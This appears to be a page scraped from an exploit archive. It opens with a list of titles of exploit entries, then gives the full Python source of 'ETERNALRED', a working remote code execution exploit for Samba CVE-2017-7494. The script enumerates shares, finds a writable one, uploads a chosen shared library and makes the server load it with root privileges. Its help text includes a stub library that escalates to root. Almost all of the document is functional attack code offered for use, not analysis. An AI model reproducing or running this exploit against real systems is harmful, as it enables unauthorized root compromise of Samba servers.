
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
468 lines
No EOL
21 KiB
Python
Executable file
468 lines
No EOL
21 KiB
Python
Executable file
#!/usr/bin/env python
|
|
# Title : ETERNALRED
|
|
# Date: 05/24/2017
|
|
# Exploit Author: steelo <knownsteelo@gmail.com>
|
|
# Vendor Homepage: https://www.samba.org
|
|
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
|
|
# CVE-2017-7494
|
|
|
|
|
|
import argparse
|
|
import os.path
|
|
import sys
|
|
import tempfile
|
|
import time
|
|
from smb.SMBConnection import SMBConnection
|
|
from smb import smb_structs
|
|
from smb.base import _PendingRequest
|
|
from smb.smb2_structs import *
|
|
from smb.base import *
|
|
|
|
|
|
class SharedDevice2(SharedDevice):
|
|
def __init__(self, type, name, comments, path, password):
|
|
super().__init__(type, name, comments)
|
|
self.path = path
|
|
self.password = password
|
|
|
|
class SMBConnectionEx(SMBConnection):
|
|
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
|
|
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
|
|
|
|
|
|
def hook_listShares(self):
|
|
self._listShares = self.listSharesEx
|
|
|
|
def hook_retrieveFile(self):
|
|
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
|
|
|
|
# This is maily the original listShares but request a higher level of info
|
|
def listSharesEx(self, callback, errback, timeout = 30):
|
|
if not self.has_authenticated:
|
|
raise NotReadyError('SMB connection not authenticated')
|
|
|
|
expiry_time = time.time() + timeout
|
|
path = 'IPC$'
|
|
messages_history = [ ]
|
|
|
|
def connectSrvSvc(tid):
|
|
m = SMB2Message(SMB2CreateRequest('srvsvc',
|
|
file_attributes = 0,
|
|
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
|
|
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
oplock = SMB2_OPLOCK_LEVEL_NONE,
|
|
impersonation = SEC_IMPERSONATE,
|
|
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
|
|
create_disp = FILE_OPEN))
|
|
|
|
m.tid = tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
|
|
messages_history.append(m)
|
|
|
|
def connectSrvSvcCB(create_message, **kwargs):
|
|
messages_history.append(create_message)
|
|
if create_message.status == 0:
|
|
call_id = self._getNextRPCCallID()
|
|
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
|
|
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
|
|
data_bytes = \
|
|
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
|
|
struct.pack('<I', call_id) + \
|
|
binascii.unhexlify(b"""
|
|
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
|
|
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
|
|
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
|
|
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
|
|
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
|
|
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
|
|
01 00 00 00
|
|
""".replace(b' ', b'').replace(b'\n', b''))
|
|
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
|
|
m.tid = create_message.tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
|
|
messages_history.append(m)
|
|
else:
|
|
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
|
|
|
|
def rpcBindCB(trans_message, **kwargs):
|
|
messages_history.append(trans_message)
|
|
if trans_message.status == 0:
|
|
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
|
|
m.tid = trans_message.tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
|
|
messages_history.append(m)
|
|
else:
|
|
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
|
|
|
|
def rpcReadCB(read_message, **kwargs):
|
|
messages_history.append(read_message)
|
|
if read_message.status == 0:
|
|
call_id = self._getNextRPCCallID()
|
|
|
|
padding = b''
|
|
remote_name = '\\\\' + self.remote_name
|
|
server_len = len(remote_name) + 1
|
|
server_bytes_len = server_len * 2
|
|
if server_len % 2 != 0:
|
|
padding = b'\0\0'
|
|
server_bytes_len += 2
|
|
|
|
# The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
|
|
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
|
|
data_bytes = \
|
|
binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
|
|
struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
|
|
binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
|
|
struct.pack('<III', server_len, 0, server_len) + \
|
|
(remote_name + '\0').encode('UTF-16LE') + padding + \
|
|
binascii.unhexlify(b"""
|
|
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
|
|
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
|
|
""".replace(b' ', b'').replace(b'\n', b''))
|
|
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
|
|
m.tid = read_message.tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
|
|
messages_history.append(m)
|
|
else:
|
|
closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')
|
|
|
|
def listShareResultsCB(result_message, **kwargs):
|
|
messages_history.append(result_message)
|
|
if result_message.status == 0:
|
|
# The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
|
|
data_bytes = result_message.payload.out_data
|
|
|
|
if data_bytes[3] & 0x02 == 0:
|
|
sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
|
|
else:
|
|
decodeResults(result_message.tid, kwargs['fid'], data_bytes)
|
|
elif result_message.status == 0x0103: # STATUS_PENDING
|
|
self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
|
|
else:
|
|
closeFid(result_message.tid, kwargs['fid'])
|
|
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
|
|
|
|
def decodeResults(tid, fid, data_bytes):
|
|
shares_count = struct.unpack('<I', data_bytes[36:40])[0]
|
|
results = [ ] # A list of SharedDevice2 instances
|
|
offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants
|
|
for i in range(0, shares_count):
|
|
results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
|
|
offset += 12
|
|
|
|
for i in range(0, shares_count):
|
|
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
|
|
offset += 12
|
|
results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
|
|
|
|
if length % 2 != 0:
|
|
offset += (length * 2 + 2)
|
|
else:
|
|
offset += (length * 2)
|
|
|
|
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
|
|
offset += 12
|
|
results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
|
|
|
|
if length % 2 != 0:
|
|
offset += (length * 2 + 2)
|
|
else:
|
|
offset += (length * 2)
|
|
|
|
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
|
|
offset += 12
|
|
results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
|
|
|
|
if length % 2 != 0:
|
|
offset += (length * 2 + 2)
|
|
else:
|
|
offset += (length * 2)
|
|
|
|
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
|
|
offset += 12
|
|
results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
|
|
|
|
if length % 2 != 0:
|
|
offset += (length * 2 + 2)
|
|
else:
|
|
offset += (length * 2)
|
|
|
|
|
|
closeFid(tid, fid)
|
|
callback(results)
|
|
|
|
def sendReadRequest(tid, fid, data_bytes):
|
|
read_count = min(4280, self.max_read_size)
|
|
m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
|
|
m.tid = tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
|
|
fid = fid, data_bytes = data_bytes)
|
|
|
|
def readCB(read_message, **kwargs):
|
|
messages_history.append(read_message)
|
|
if read_message.status == 0:
|
|
data_len = read_message.payload.data_length
|
|
data_bytes = read_message.payload.data
|
|
|
|
if data_bytes[3] & 0x02 == 0:
|
|
sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
|
|
else:
|
|
decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
|
|
else:
|
|
closeFid(read_message.tid, kwargs['fid'])
|
|
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
|
|
|
|
def closeFid(tid, fid, results = None, error = None):
|
|
m = SMB2Message(SMB2CloseRequest(fid))
|
|
m.tid = tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
|
|
messages_history.append(m)
|
|
|
|
def closeCB(close_message, **kwargs):
|
|
if kwargs['results'] is not None:
|
|
callback(kwargs['results'])
|
|
elif kwargs['error'] is not None:
|
|
errback(OperationFailure(kwargs['error'], messages_history))
|
|
|
|
if path not in self.connected_trees:
|
|
def connectCB(connect_message, **kwargs):
|
|
messages_history.append(connect_message)
|
|
if connect_message.status == 0:
|
|
self.connected_trees[path] = connect_message.tid
|
|
connectSrvSvc(connect_message.tid)
|
|
else:
|
|
errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))
|
|
|
|
m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
|
|
messages_history.append(m)
|
|
else:
|
|
connectSrvSvc(self.connected_trees[path])
|
|
|
|
|
|
# Don't convert to Window style path
|
|
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
|
|
if not self.has_authenticated:
|
|
raise NotReadyError('SMB connection not authenticated')
|
|
|
|
messages_history = [ ]
|
|
|
|
|
|
def sendOpen(tid):
|
|
m = SMBMessage(ComOpenAndxRequest(filename = path,
|
|
access_mode = 0x0040, # Sharing mode: Deny nothing to others
|
|
open_mode = 0x0001, # Failed if file does not exist
|
|
search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
|
|
timeout = timeout * 1000))
|
|
m.tid = tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
|
|
messages_history.append(m)
|
|
|
|
def openCB(open_message, **kwargs):
|
|
messages_history.append(open_message)
|
|
if not open_message.status.hasError:
|
|
if max_length == 0:
|
|
closeFid(open_message.tid, open_message.payload.fid)
|
|
callback(( file_obj, open_message.payload.file_attributes, 0 ))
|
|
else:
|
|
sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
|
|
else:
|
|
errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))
|
|
|
|
def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
|
|
read_count = self.max_raw_size - 2
|
|
m = SMBMessage(ComReadAndxRequest(fid = fid,
|
|
offset = offset,
|
|
max_return_bytes_count = read_count,
|
|
min_return_bytes_count = min(0xFFFF, read_count)))
|
|
m.tid = tid
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
|
|
read_len = read_len, remaining_len = remaining_len)
|
|
|
|
def readCB(read_message, **kwargs):
|
|
# To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
|
|
if not read_message.status.hasError:
|
|
read_len = kwargs['read_len']
|
|
remaining_len = kwargs['remaining_len']
|
|
data_len = read_message.payload.data_length
|
|
if max_length > 0:
|
|
if data_len > remaining_len:
|
|
file_obj.write(read_message.payload.data[:remaining_len])
|
|
read_len += remaining_len
|
|
remaining_len = 0
|
|
else:
|
|
file_obj.write(read_message.payload.data)
|
|
remaining_len -= data_len
|
|
read_len += data_len
|
|
else:
|
|
file_obj.write(read_message.payload.data)
|
|
read_len += data_len
|
|
|
|
if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
|
|
closeFid(read_message.tid, kwargs['fid'])
|
|
callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements
|
|
else:
|
|
sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
|
|
else:
|
|
messages_history.append(read_message)
|
|
closeFid(read_message.tid, kwargs['fid'])
|
|
errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))
|
|
|
|
def closeFid(tid, fid):
|
|
m = SMBMessage(ComCloseRequest(fid))
|
|
m.tid = tid
|
|
self._sendSMBMessage(m)
|
|
messages_history.append(m)
|
|
|
|
if service_name not in self.connected_trees:
|
|
def connectCB(connect_message, **kwargs):
|
|
messages_history.append(connect_message)
|
|
if not connect_message.status.hasError:
|
|
self.connected_trees[service_name] = connect_message.tid
|
|
sendOpen(connect_message.tid)
|
|
else:
|
|
errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))
|
|
|
|
m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
|
|
self._sendSMBMessage(m)
|
|
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
|
|
messages_history.append(m)
|
|
else:
|
|
sendOpen(self.connected_trees[service_name])
|
|
|
|
def get_connection(user, password, server, port, force_smb1=False):
|
|
if force_smb1:
|
|
smb_structs.SUPPORT_SMB2 = False
|
|
|
|
conn = SMBConnectionEx(user, password, "", "server")
|
|
assert conn.connect(server, port)
|
|
return conn
|
|
|
|
def get_share_info(conn):
|
|
conn.hook_listShares()
|
|
return conn.listShares()
|
|
|
|
def find_writeable_share(conn, shares):
|
|
print("[+] Searching for writable share")
|
|
filename = "red"
|
|
test_file = tempfile.TemporaryFile()
|
|
for share in shares:
|
|
try:
|
|
# If it's not writeable this will throw
|
|
conn.storeFile(share.name, filename, test_file)
|
|
conn.deleteFiles(share.name, filename)
|
|
print("[+] Found writeable share: " + share.name)
|
|
return share
|
|
except:
|
|
pass
|
|
|
|
return None
|
|
|
|
def write_payload(conn, share, payload, payload_name):
|
|
with open(payload, "rb") as fin:
|
|
conn.storeFile(share.name, payload_name, fin)
|
|
|
|
return True
|
|
|
|
def convert_share_path(share):
|
|
path = share.path[2:]
|
|
path = path.replace("\\", "/")
|
|
return path
|
|
|
|
def load_payload(user, password, server, port, fullpath):
|
|
conn = get_connection(user, password, server, port, force_smb1 = True)
|
|
conn.hook_retrieveFile()
|
|
|
|
print("[+] Attempting to load payload")
|
|
temp_file = tempfile.TemporaryFile()
|
|
|
|
try:
|
|
conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
|
|
except:
|
|
pass
|
|
|
|
return
|
|
|
|
def drop_payload(user, password, server, port, payload):
|
|
payload_name = "charizard"
|
|
|
|
conn = get_connection(user, password, server, port)
|
|
shares = get_share_info(conn)
|
|
share = find_writeable_share(conn, shares)
|
|
|
|
if share is None:
|
|
print("[!] No writeable shares on " + server + " for user: " + user)
|
|
sys.exit(-1)
|
|
|
|
if not write_payload(conn, share, payload, payload_name):
|
|
print("[!] Failed to write payload: " + str(payload) + " to server")
|
|
sys.exit(-1)
|
|
|
|
conn.close()
|
|
|
|
fullpath = convert_share_path(share)
|
|
return os.path.join(fullpath, payload_name)
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
description= """Eternal Red Samba Exploit -- CVE-2017-7494
|
|
Causes vulnerable Samba server to load a shared library in root context
|
|
Credentials are not required if the server has a guest account
|
|
For remote exploit you must have write permissions to at least one share
|
|
Eternal Red will scan the Samba server for shares it can write to
|
|
It will also determine the fullpath of the remote share
|
|
|
|
For local exploit provide the full path to your shared library to load
|
|
|
|
Your shared library should look something like this
|
|
|
|
extern bool change_to_root_user(void);
|
|
int samba_init_module(void)
|
|
{
|
|
change_to_root_user();
|
|
/* Do what thou wilt */
|
|
}
|
|
""")
|
|
parser.add_argument("payload", help="path to shared library to load", type=str)
|
|
parser.add_argument("server", help="Server to target", type=str)
|
|
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
|
|
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
|
|
parser.add_argument("--password", help="Password for user default is empty", type=str)
|
|
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
|
|
args = parser.parse_args()
|
|
|
|
if not os.path.isfile(args.payload):
|
|
print("[!] Unable to open: " + args.payload)
|
|
sys.exit(-1)
|
|
|
|
port = 445
|
|
user = "nobody"
|
|
password = ""
|
|
fullpath = ""
|
|
|
|
if args.port:
|
|
port = args.port
|
|
if args.username:
|
|
user = args.username
|
|
if args.password:
|
|
password = args.password
|
|
|
|
if args.local:
|
|
fullpath = args.payload
|
|
else:
|
|
fullpath = drop_payload(user, password, args.server, port, args.payload)
|
|
|
|
load_payload(user, password, args.server, port, fullpath)
|
|
|
|
if __name__ == "__main__":
|
|
main() |